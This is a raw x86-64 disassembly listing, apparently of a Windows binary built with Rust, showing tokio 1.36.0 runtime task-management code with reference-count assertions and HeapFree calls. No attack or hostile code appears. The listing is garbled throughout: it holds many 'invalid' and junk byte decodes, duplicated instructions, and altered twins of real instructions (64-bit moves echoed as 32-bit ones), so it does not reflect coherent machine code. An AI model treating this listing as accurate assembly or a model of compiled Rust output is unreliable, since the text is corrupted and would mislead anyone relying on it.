mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
and eax, 0x58
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140089f27
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140089f02
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140089ec3
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.14007dde0
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x140089ee2
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
add byte [rdx + 0x2b], bh
call fcn.140122660
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x140089ff0
test cl, 3
je 0x14008a080
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008a253
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008a0ac
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008a041
lea rcx, [rsi + 0x20]
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.14007dde0
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x14008a060
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0xa53c0
and eax, 0xa53c0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add dword [rax], eax
invalid
test eax, eax
je 0x14008a0b9
add dword [rax], eax
add byte [rbp + 0xf1774c0], al
push rdi
test byte [rbx + 0x3c7401f8], 0xeb
xorps xmm6, xmm6
cmp eax, 1
je 0x14008a0e6
jmp 0x14008a112
movapd xmm6, xmmword [rsp + 0x20]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
xor byte [rbx + 0x5f], bl
pop rsi
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov rcx, rdi
call fcn.140068f70
mov qword [rsi + 0x30], 0xc
mov eax, dword [0x14019f30c]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008a1a9
cmp eax, 1
je 0x14008a177
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
mov dword [rax + 0xf8], 1
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
invalid
mov dword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp case.0x140059890.128
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068f70
mov qword [rsi + 0x30], 0xb
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
push rax
push rax
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add dword [rax], eax
add byte [rbx + 0x4c7402f8], al
invalid
je 0x14008a23f
add dword [rax], eax
add byte [rbx + 0x4c7402f8], al
invalid
je 0x14008a23f
add dh, byte [rsp + rcx*2 - 0x7d]
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x11510e
cmp eax, 1
je 0x14008a225
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
mov edi, dword [rcx + rax*8]
mov edi, dword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
invalid
add dh, al
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x140080f40
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
add eax, 0xdde87
add eax, 0xdde87
mov edx, 0x27
call fcn.140122660
int3
int3
invalid
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
inc ecx
inc ecx
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14008a2d4
test al, 4
je 0x14008a90e
test byte [rbp + 6], bl
add byte [rax], al
test byte [rbp + 6], bl
add byte [rax], al
test al, 3
je 0x14008a290
cmp rax, 0x3f
jbe 0x14008a926
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14008a2a9
movzx eax, dl
lea rcx, [0x14019443c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xf03307e], al
adc dword [rcx + 6], 0
add byte [rax - 0x73], cl
jle 0x14008a351
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008a4f9
add byte [rax], al
add byte [rax], al
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14008a37b
invalid
mov eax, dword cs:[0x14019f30c]
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
lodsd eax, dword [rsi]
sub al, 6
add byte [rcx - 0x3a], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008a4fc
push rax
add dword [rax], eax
invalid
push rax
add dword [rax], eax
add byte [rbx + 0x114f5a05], cl
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
ror dword [rdi], 0xb6
sub byte [rax], 1
add byte [rax], al
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008a42f
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je 0x14008a401
sub byte [rbx + 0x2d7401f8], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0x114f0505], ecx
add eax, 0x6500114f
mov rcx, qword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add eax, 0x6500114f
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
ror dword [rdi], 0x10
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0x100
mov qword [rax + 0x100], rdi
jmp 0x14008a432
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov rcx, rdi
call fcn.140068bf0
mov qword [rsi + 0x30], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x114ec005], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008a4c9
cmp eax, 1
je 0x14008a497
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x114e9c
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
add byte [rax - 0x73], cl
adc eax, 0x76ae5
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dword [rax], eax
add byte [rcx], al
invalid
add dword [rax], eax
add byte [rcx], al
invalid
add dword [rbx + 0x114e6f05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
adc dword [rax + 0xf8], esi
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
jmp 0x14008a4d0
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068bf0
mov qword [rsi + 0x30], 3
xor byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
xor byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
push rax
mov qword [rsi + 0x50], rbx
jmp 0x14008a7f6
xorps xmm6, xmm6
push rdi
test byte [rax - 0x73], 0x5c
lea rbx, [rsp + 0x70]
and al, 0x70
mov rcx, rdi
mov rdx, rbx
call fcn.140068560
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
cmp ecx, 2
je 0x14008a57e
cmp ecx, 1
je 0x14008a562
invalid
xor cl, byte [rcx - 0x2bfa743b]
adc qword [r8], r8
mov ebp, eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
sbb eax, 0xe800076a
enter 0x62a, 0
sbb eax, 0xe800076a
enter 0x62a, 0
mov byte [r14 + 0x128], 1
mov eax, ebp
invalid
call 0x18dacb2f1
adc dword [rax], eax
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
mov cl, 1
mov cl, 0xf8
add byte [rax], al
add byte [rcx + 0xfc08401], dh
test byte [rbx + 1], dl
add byte [rax], al
test al, al
je case.0x14006b64f.102
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
lea rcx, [rsp + 0x40]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
test al, 1
je 0x14008a93e
test al, 0x20
jne 0x14008a5e0
mov rdx, rax
and rdx, 0xffffffffffffffde
test al, 4
jne 0x14008a600
cmp rax, 0x3f
jbe 0x14008a926
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
add r8b, r8b
jmp 0x14008a610
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x50], al
add ecx, dword [rcx - 0x77]
leave
mov r8b, 3
mov r9, rcx
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
and al, 0x40
invalid
je case.default.0x14008a648
and al, 0x40
add dword [rsp + rsi - 0x15], esi
jmp 0x14008a636
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x88
js 0x14008a956
add rdx, 0x40
invalid
test rax, rax
js 0x14008a956
add rdx, 0x40
mov r8b, 1
mov qword [rsp + 0x40], 1
mov r9, rbx
mov ecx, ebx
mov qword [r9], rdx
mov dword [rcx], edx
mov dword [rcx], edx
cmp dword [rsp + 0x40], 1
jne 0x14008a636
add dword [rbp + 0x10], esi
mov rdx, qword [rsp + 0x70]
lock cmpxchg qword [rsi], rdx
cmpxchg dword [rsi], edx
cmpxchg dword [rsi], edx
invalid
jne 0x14008a5a0
invalid
movzx eax, r8b
lea rcx, [0x14019444c]
invalid
sahf
adc byte [rax], al
or ebx, dword [rsi + 0x63480010]
add al, 0x81
adc byte [rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdx, rsi
call fcn.1400ff170
invalid
invalid
bnd call fcn.1400ff170
invalid
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
xadd qword [rsi], rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008a9a6
and rax, 0xffffffffffffffc0
loopne case.0x140087cc5.27
cmp rax, 0x40
jne case.0x14008a2e5.2
call fcn.14002ded0
mov rcx, rdi
jmp 0x14008a6a6
dec dword [rax]
jne 0x14008a6a2
lea rcx, [rsi + 0x20]
and al, r13b
cmp dl, bh
dec dword [rax - 0x73]
xor al, r13b
in eax, 0xfd
dec dword [rax - 0x75]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.140068bf0
mov rax, qword [rsi + 0x2e0]
xchg al, ah
add al, byte [rax]
add byte [rax - 0x7b], cl
test eax, eax
xchg al, ah
add al, byte [rax]
add byte [rax - 0x7b], cl
test eax, eax
je 0x14008a6c1
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
test eax, eax
je 0x14008a6c1
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
adc qword [r8], rax
add byte [rcx], dh
sar bh, cl
adc eax, 0xa4d6c
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14008a2e5.2
cmp cl, 2
je 0x14008a746
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
movzx eax, cl
cmp eax, 1
je 0x14008a718
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
invalid
add al, ch
adc byte [rcx], ch
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14019f30c]
add eax, 0x114bee
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008a749
add ecx, dword [rdi]
push rdi
xorps xmm6, xmm6
test byte [rax - 0x77], 0xf9
mov rcx, rdi
call fcn.140068bf0
mov qword [rdi], 4
add byte [rax], al
add byte [rbx + 0x114bae05], cl
adc qword [r8], rax
in al, 0xfd
dec dword [rax - 0x39]
invalid
add byte [rax], al
add byte [rbx + 0x114bae05], cl
adc qword [r8], rax
mov rcx, qword gs:[0x58]
adc qword [r8], rax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008a7db
cmp eax, 1
je 0x14008a7a9
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov byte [rax], al
add dword [rax], eax
add bl, ch
add ecx, dword [rdi]
push rdi
test byte [rax - 0x77], 0xf9
mov qword [rax + 0x100], rcx
jmp 0x14008a7de
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068bf0
mov qword [rsi + 0x30], 3
mov qword [rsi + 0x38], 0
mov eax, dword [0x14019f30c]
adc qword [r8], rax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008a861
add byte [rbx + 0x4c7402f8], al
cmp eax, 1
je 0x14008a847
invalid
sub eax, 0x4aec058b
adc dword [rax], eax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
invalid
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
invalid
add al, ch
loopne 0x14008a865
invalid
add dh, al
xchg dword [rax], ebp
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
invalid
mov rcx, rsi
call 0x14007fad0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x40]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068bf0
mov qword [rsi + 0x30], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008ac50
cmp eax, 1
je 0x14008ac36
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14008ace7
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008acc2
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14008ac83
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.140068bf0
mov rax, qword [rsi + 0x2e0]
test rax, rax
je 0x14008aca2
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
int3
mov eax, dword [rsi + 0x2e0]
test rax, rax
je 0x14008ae20
mov rcx, qword [rsi + 0x2e8]
add byte [rax], al
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0xa4600
and eax, 0xa4600
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14008ae79
xorps xmm6, xmm6
cmp eax, 1
je 0x14008aea6
jmp 0x14008aed2
movapd xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140068bf0
adc bl, ch
std
dec dword [rax - 0x39]
xor byte [rax + r8], r8b
add byte [rax], al
invalid
adc bl, ch
std
dec dword [rax - 0x39]
xor byte [rax + r8], r8b
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x11442005], cl
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov eax, dword [0x14019f30c]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008af69
cmp eax, 1
je case.0x14006ba56.92
clc
add dword [rbp + rbp - 0x75], esi
mov eax, dword [0x14019f30c]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
mov ebx, dword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
adc dword [r8], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x14008af70
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
pop rsi
sub byte [rdi], cl
push rdi
test byte [rax - 0x77], 0xf9
mov rcx, rdi
call fcn.140068bf0
mov qword [rsi + 0x30], 3
xor byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
xor byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008afff
invalid
cmp rax, 1
cmp eax, 1
je 0x14008afe5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
cmp al, 0xc1
add byte [rax - 0x75], cl
cmp al, 0xc1
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and dword [rbx + 0x11], eax
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
and byte [rax - 0x7d], cl
invalid
xor byte [rbx + 0x5f], bl
pop rsi
and byte [rax - 0x7d], cl
invalid
jmp 0x14007fad0
cmpsb byte [rsi], byte [rdi]
ror byte [0x14595fc1d], 1
invalid
xor eax, 0xcc000976
int3
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rsp + 0x88], rsi
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0
and al, 0x70
add byte [rax], al
add byte [rax], al
and al, 0x70
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsi + 0x50]
and al, 6
cmp al, 4
je 0x14008b731
lea rdi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008b2b7
mov rbx, qword [rsi + 0x28]
cmp eax, 1
